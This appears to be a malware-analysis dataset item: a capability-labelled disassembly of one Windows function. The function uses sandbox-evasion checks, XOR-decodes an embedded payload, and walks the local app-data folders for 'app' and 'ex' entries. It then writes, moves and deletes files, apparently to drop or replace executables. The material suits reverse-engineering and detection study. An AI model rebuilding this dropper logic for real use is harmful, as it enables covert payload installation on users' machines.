Function at 0x100aba90
Capabilities:
Delete file
Encode data using xor
Enumerate files on windows
Get common file path
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100aeb33
mov eax, dword fs:[0]
push eax
sub esp, 0x4c8
mov eax, dword [0x100b0040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x474], 0
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop
call edi
cmp eax, 0x1234
je 0x100ac989
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp eax, 1
je 0x100ac989
inc esi
cmp esi, 0xf4240
jl 0x100abad0
mov eax, dword [0x100b049c]
xor ecx, ecx
mov edx, dword [0x100b0498]
sub eax, edx
je 0x100abb26
nop dword [eax + eax]
xor byte [ecx + edx], 0x33
inc ecx
mov eax, dword [0x100b049c]
mov edx, dword [0x100b0498]
sub eax, edx
cmp ecx, eax
jb 0x100abb10
movaps xmm0, xmmword [0x100af1c0]
mov esi, 0x7fffffff
movups xmmword [ebp - 0x460], xmm0
mov dword [ebp - 0x464], 0x98920089
mov edx, 0x98920089
xorps xmm0, xmm0
mov dword [ebp - 0x128], 0x98920089
movlpd qword [ebp - 0x124], xmm0
xor ecx, ecx
movlpd qword [ebp - 0x11c], xmm0
mov dword [ebp - 0x48c], esi
nop dword [eax]
mov al, byte [ebp + ecx - 0x460]
xor al, dl
mov byte [ebp + ecx - 0x124], al
inc ecx
imul eax, edx, 0xbc8f
xor edx, edx
div esi
cmp ecx, 0x10
jb 0x100abb70
mov eax, dword [ebp - 0x118]
lea ecx, [ebp - 0x1a0]
movups xmm0, xmmword [ebp - 0x128]
mov dword [ebp - 0x454], eax
lea eax, [ebp - 0x460]
push eax
movups xmmword [ebp - 0x464], xmm0
call fcn.100acb80
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 1
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x140]
call fcn.100acb80
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x12c]
mov eax, edx
mov ecx, dword [ebp - 0x130]
sub eax, ecx
cmp eax, 2
jb 0x100abc55
lea eax, [ecx + 2]
cmp edx, 0xf
mov dword [ebp - 0x130], eax
mov edx, 0x2a5c
lea eax, [ebp - 0x140]
cmova eax, dword [ebp - 0x140]
mov word [eax + ecx], dx
mov byte [eax + ecx + 2], 0
jmp 0x100abc76
push 2
push 0x100af184
mov byte [ebp - 0x46c], 0
lea ecx, [ebp - 0x140]
push dword [ebp - 0x46c]
push 2
call fcn.100acef0
cmp dword [ebp - 0x12c], 0xf
lea ecx, [ebp - 0x450]
lea eax, [ebp - 0x140]
cmova eax, dword [ebp - 0x140]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
movq qword [ebp - 0x120], xmm0
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov eax, 0xc
mov byte [ebp - 4], 3
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x468]
cmp eax, 0xffffffff
jne 0x100abe70
xor esi, esi
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x468], esi
cmp ecx, 0xf
jbe 0x100abd38
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100abd2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
mov byte [ebp - 4], 0x10
mov edi, dword [ebp - 0x120]
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x478], edi
mov dword [ebp - 0x47c], eax
cmp edi, eax
je 0x100ac879
movaps xmm0, xmmword [0x100af1b0]
cmp dword [edi + 0x10], 1
jb 0x100ac861
mov edx, 0x98920089
xor ecx, ecx
movups xmmword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], edx
xorps xmm0, xmm0
mov dword [ebp - 0x464], edx
movlpd qword [ebp - 0x460], xmm0
movlpd qword [ebp - 0x458], xmm0
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x138]
xor al, dl
mov byte [ebp + ecx - 0x460], al
inc ecx
imul eax, edx, 0xbc8f
xor edx, edx
div dword [ebp - 0x48c]
cmp ecx, 0xd
jb 0x100abda0
mov eax, dword [ebp - 0x454]
lea ecx, [ebp - 0x4bc]
movups xmm0, xmmword [ebp - 0x464]
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x138]
push eax
movups xmmword [ebp - 0x13c], xmm0
call fcn.100acb80
or esi, 1
mov dword [ebp - 0x468], esi
mov byte [ebp - 4], 0x11
mov esi, edi
cmp dword [edi + 0x14], 0xf
jbe 0x100abe07
mov esi, dword [edi]
mov eax, dword [ebp - 0x4a8]
mov edx, dword [ebp - 0x4ac]
sub eax, edx
mov ecx, dword [edi + 0x10]
mov dword [ebp - 0x484], ecx
cmp ecx, eax
ja 0x100ac6f2
cmp dword [ebp - 0x4a8], 0xf
lea eax, [edx + ecx]
lea edi, [ebp - 0x4bc]
mov dword [ebp - 0x4ac], eax
cmova edi, dword [ebp - 0x4bc]
lea eax, [ecx + esi]
cmp eax, edi
jbe 0x100ac6a1
lea eax, [edi + edx]
cmp esi, eax
ja 0x100ac6a1
cmp edi, esi
ja 0x100ac695
mov dword [ebp - 0x46c], 0
jmp 0x100ac6a7
test byte [ebp - 0x450], 0x10
je 0x100ac484
lea eax, [ebp - 0x424]
push eax
lea ecx, [ebp - 0x158]
call fcn.100acb80
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x158]
mov eax, dword [ebp - 0x144]
cmp eax, 0xf
mov edi, dword [ebp - 0x158]
mov esi, dword [ebp - 0x148]
cmova ecx, edi
mov dword [ebp - 0x46c], edi
cmp esi, 1
jne 0x100abf30
mov edx, 0x100af188
sub esi, 4
jb 0x100abee1
nop dword [eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x100abee6
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100abed0
cmp esi, 0xfffffffc
je 0x100abf1a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100abf13
cmp esi, 0xfffffffd
je 0x100abf1a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100abf13
cmp esi, 0xfffffffe
je 0x100abf1a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x100abf13
cmp esi, 0xffffffff
je 0x100abf1a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x100abf1a
sbb eax, eax
or eax, 1
jmp 0x100abf1c
xor eax, eax
test eax, eax
je 0x100ac444
mov esi, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
cmp eax, 0xf
lea ecx, [ebp - 0x158]
cmova ecx, edi
cmp esi, 2
jne 0x100abfaa
mov edx, 0x100af18c
sub esi, 4
jb 0x100abf61
nop dword [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x100abf66
add ecx, 4
add edx, 4
sub esi, 4
jae 0x100abf50
cmp esi, 0xfffffffc
je 0x100abf9a
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x100abf93
cmp esi, 0xfffffffd
je 0x100abf9a
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x100abf93
cmp esi, 0xfffffffe
je 0x100abf9a
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x100abf93
cmp esi, 0xffffffff
je 0x100abf9a
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x100abf9a
sbb eax, eax
or eax, 1
jmp 0x100abf9c
xor eax, eax
test eax, eax
je 0x100ac444
mov esi, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
lea eax, [ebp - 0x158]
cmp ecx, 0xf
cmova eax, edi
cmp byte [eax], 0x65
jne 0x100ac444
cmp ecx, 0xf
lea eax, [ebp - 0x158]
cmova eax, edi
cmp byte [eax + 1], 0x78
jne 0x100ac444
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x4a4]
call fcn.100acb80
push ecx
mov edx, eax
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4d4]
call fcn.100acdf0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x158]
cmp dword [ebp - 0x144], 0xf
mov eax, dword [edi + 0x14]
cmova ecx, dword [ebp - 0x46c]
mov edx, dword [edi + 0x10]
sub eax, edx
cmp esi, eax
ja 0x100ac057
cmp dword [edi + 0x14], 0xf
lea eax, [edx + esi]
mov dword [edi + 0x10], eax
mov eax, edi
jbe 0x100ac038
mov eax, dword [edi]
push dword [ebp - 0x148]
lea esi, [eax + edx]
push ecx
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x148]
add esp, 0xc
mov byte [eax + esi], 0
jmp 0x100ac07c
push esi
push ecx
mov byte [ebp - 0x47c], 0
mov ecx, edi
push dword [ebp - 0x47c]
push esi
call fcn.100acef0
mov edi, eax
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x46c], eax
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x1d0], xmm0
movq xmm0, qword [edi + 0x10]
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov edi, dword [ebp - 0x474]
or edi, 0x10
movq qword [ebp - 0x1c0], xmm0
mov dword [ebp - 0x474], edi
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x4c0]
cmp ecx, 0xf
jbe 0x100ac0f1
mov edx, dword [ebp - 0x4d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac0e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
mov dword [ebp - 0x4c4], 0
mov dword [ebp - 0x4c0], 0xf
mov byte [ebp - 0x4d4], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x490]
cmp ecx, 0xf
jbe 0x100ac14a
mov edx, dword [ebp - 0x4a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac140
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x494], 0
push 0x100af184
lea edx, [ebp - 0x1d0]
mov dword [ebp - 0x490], 0xf
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 0x4a4], 0
movq qword [ebp - 0x45c], xmm0
mov dword [ebp - 0x454], 0
call fcn.100accc0
add esp, 4
cmp dword [ebp - 0x1a4], 0xf
lea ecx, [ebp - 0x310]
lea eax, [ebp - 0x1b8]
cmova eax, dword [ebp - 0x1b8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xorps xmm0, xmm0
mov dword [ebp - 0x454], 0
movq qword [ebp - 0x45c], xmm0
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x45c], 0
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 0
or edi, 0x20
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x474], edi
mov edi, eax
cmp edi, 0xffffffff
je 0x100ac376
nop word [eax + eax]
test byte [ebp - 0x310], 0x10
je 0x100ac359
lea eax, [ebp - 0x2e4]
push eax
lea ecx, [ebp - 0x170]
call fcn.100acb80
mov dword [ebp - 4], 0xc
lea eax, [ebp - 0x170]
mov edx, dword [ebp - 0x15c]
cmp edx, 0xf
mov esi, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x160]
cmova eax, esi
mov dword [ebp - 0x478], esi
cmp ecx, 1
jne 0x100ac268
cmp byte [eax], 0x2e
je 0x100ac321
cmp edx, 0xf
lea eax, [ebp - 0x170]
cmova eax, esi
cmp ecx, 2
jne 0x100ac28d
mov edi, 0x2e2e
cmp word [eax], di
mov edi, dword [ebp - 0x470]
je 0x100ac321
cmp edx, 0xf
lea edi, [ebp - 0x170]
cmova edi, esi
cmp ecx, 4
jb 0x100ac31b
lea eax, [ecx - 3]
add eax, edi
mov dword [ebp - 0x480], eax
sub eax, edi
push eax
push 0x61
push edi
call sub.VCRUNTIME140.dll_memchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x100ac315
nop dword [eax]
mov edx, esi
mov ecx, str.app_
mov eax, dword [edx]
cmp eax, dword [ecx]
je 0x100ac2e9
cmp al, byte [ecx]
jne 0x100ac2ed
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x100ac2ed
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x100ac2ed
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
jne 0x100ac2ed
xor eax, eax
jmp 0x100ac2f2
sbb eax, eax
or eax, 1
test eax, eax
je 0x100ac4a5
mov eax, dword [ebp - 0x480]
inc esi
sub eax, esi
push eax
push 0x61
push esi
call sub.VCRUNTIME140.dll_memchr
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x100ac2c0
mov esi, dword [ebp - 0x478]
mov edi, dword [ebp - 0x470]
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x15c]
cmp ecx, 0xf
jbe 0x100ac359
inc ecx
mov eax, esi
cmp ecx, 0x1000
jb 0x100ac34f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push esi
call fcn.100ade05
add esp, 8
lea eax, [ebp - 0x310]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100ac210
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov dword [ebp - 4], 9
xor eax, eax
mov ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x474], eax
cmp ecx, 0xf
jbe 0x100ac3bf
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac3b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
mov byte [ebp - 4], 0xf
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x458]
mov esi, dword [ebp - 0x45c]
sub ecx, esi
imul ecx
lea ecx, [ebp - 0x120]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
push dword [ebp - 0x11c]
call fcn.100ad070
lea ecx, [ebp - 0x45c]
call fcn.100ac9d0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1bc]
cmp ecx, 0xf
jbe 0x100ac43e
mov edx, dword [ebp - 0x1d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac434
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
mov edi, dword [ebp - 0x46c]
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x144]
cmp eax, 0xf
jbe 0x100ac47e
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x100ac474
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edi
call fcn.100ade05
add esp, 8
mov eax, dword [ebp - 0x468]
lea ecx, [ebp - 0x450]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x100ac63c
mov eax, dword [ebp - 0x468]
jmp 0x100abe70
sub esi, edi
jne 0x100ac315
push 0x100af198
lea edx, [ebp - 0x1d0]
lea ecx, [ebp - 0x4d4]
call fcn.100accc0
add esp, 4
mov edi, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x170]
cmp dword [ebp - 0x15c], 0xf
mov esi, dword [edi + 0x14]
mov eax, esi
cmova ecx, dword [ebp - 0x478]
mov edx, dword [edi + 0x10]
sub eax, edx
cmp dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
ja 0x100ac52b
add eax, edx
mov dword [edi + 0x10], eax
mov eax, edi
cmp esi, 0xf
jbe 0x100ac506
mov eax, dword [edi]
push dword [ebp - 0x160]
lea esi, [eax + edx]
push ecx
push esi
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x160]
add esp, 0xc
mov byte [eax + esi], 0
mov esi, dword [ebp - 0x478]
jmp 0x100ac54a
push eax
push ecx
mov byte [ebp - 0x484], 0
mov ecx, edi
push dword [ebp - 0x484]
push eax
call fcn.100acef0
mov esi, dword [ebp - 0x170]
mov edi, eax
movups xmm0, xmmword [edi]
or dword [ebp - 0x474], 0x40
movq xmm1, qword [edi + 0x10]
movups xmmword [ebp - 0x4a4], xmm0
mov dword [edi + 0x10], 0
movq qword [ebp - 0x494], xmm1
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x458]
cmp eax, dword [ebp - 0x454]
je 0x100ac5a8
movups xmmword [eax], xmm0
mov ecx, 0xf
mov byte [ebp - 0x4a4], 0
movq qword [eax + 0x10], xmm1
add dword [ebp - 0x458], 0x18
jmp 0x100ac5c1
lea ecx, [ebp - 0x4a4]
push ecx
push eax
lea ecx, [ebp - 0x45c]
call fcn.100ad4d0
mov ecx, dword [ebp - 0x490]
mov byte [ebp - 4], 0xd
cmp ecx, 0xf
jbe 0x100ac5f9
mov edx, dword [ebp - 0x4a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac5ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0x4c0]
cmp ecx, 0xf
jbe 0x100ac31b
mov edx, dword [ebp - 0x4d4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac62d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
jmp 0x100ac31b
push dword [ebp - 0x468]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x468], esi
cmp ecx, 0xf
jbe 0x100abd38
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100abd2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100abd2e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, edi
sub eax, esi
mov dword [ebp - 0x46c], eax
jmp 0x100ac6a7
mov dword [ebp - 0x46c], ecx
lea eax, [edx + 1]
add ecx, edi
push eax
push edi
push ecx
call sub.VCRUNTIME140.dll_memmove
push dword [ebp - 0x46c]
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
mov edx, dword [ebp - 0x46c]
lea ecx, [edi + edx]
mov edi, dword [ebp - 0x484]
mov eax, edi
sub eax, edx
push eax
lea eax, [edx + edi]
add eax, esi
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [ebp - 0x478]
lea eax, [ebp - 0x4bc]
add esp, 0x24
jmp 0x100ac70e
push ecx
push esi
push ecx
mov byte [ebp - 0x480], 0
push dword [ebp - 0x480]
push ecx
lea ecx, [ebp - 0x4bc]
call fcn.100ad6c0
movups xmm0, xmmword [eax]
or dword [ebp - 0x468], 2
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x174]
movq qword [ebp - 0x488], xmm1
movups xmmword [ebp - 0x460], xmm0
cmp ecx, 0xf
jbe 0x100ac786
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac76d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
movups xmm0, xmmword [ebp - 0x460]
add esp, 8
movq xmm1, qword [ebp - 0x488]
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x4a8]
movq qword [ebp - 0x178], xmm1
movups xmmword [ebp - 0x188], xmm0
cmp ecx, 0xf
jbe 0x100ac7d3
mov edx, dword [ebp - 0x4bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac7c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac68f
push ecx
push edx
call fcn.100ade05
add esp, 8
cmp dword [ebp - 0x18c], 0xf
lea eax, [ebp - 0x1a0]
push 0
cmova eax, dword [ebp - 0x1a0]
push 0x80
push 2
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x100b049c]
mov esi, eax
mov edx, dword [0x100b0498]
sub ecx, edx
push 0
push 0
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x174], 0xf
lea ecx, [ebp - 0x188]
lea eax, [ebp - 0x1a0]
cmova ecx, dword [ebp - 0x188]
cmp dword [ebp - 0x18c], 0xf
push ecx
cmova eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
movaps xmm0, xmmword [0x100af1b0]
mov eax, dword [ebp - 0x47c]
add edi, 0x18
mov dword [ebp - 0x478], edi
cmp edi, eax
je 0x100ac879
mov esi, dword [ebp - 0x468]
jmp 0x100abd63
mov ecx, dword [ebp - 0x120]
test ecx, ecx
je 0x100ac8e1
mov edx, dword [ebp - 0x11c]
push ecx
call fcn.100ace80
mov ecx, dword [ebp - 0x118]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x120]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x100ac8d7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100ac8d7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.100ade05
add esp, 8
cmp dword [ebp - 0x18c], 0xf
lea eax, [ebp - 0x1a0]
cmova eax, dword [ebp - 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x174]
cmp ecx, 0xf
jbe 0x100ac932
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac928
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100ac979
push ecx
push edx
call fcn.100ade05
add esp, 8
mov ecx, dword [ebp - 0x18c]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
cmp ecx, 0xf
jbe 0x100ac989
mov edx, dword [ebp - 0x1a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100ac97f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100ac97f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100ade05
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100adaad
mov esp, ebp
pop ebp
ret